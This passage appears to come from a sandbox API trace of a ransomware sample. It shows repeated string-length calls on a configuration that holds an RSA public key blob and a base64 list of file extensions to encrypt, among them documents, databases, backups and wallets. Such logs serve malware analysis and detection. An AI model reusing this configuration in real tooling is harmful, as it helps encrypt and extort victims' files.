YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1p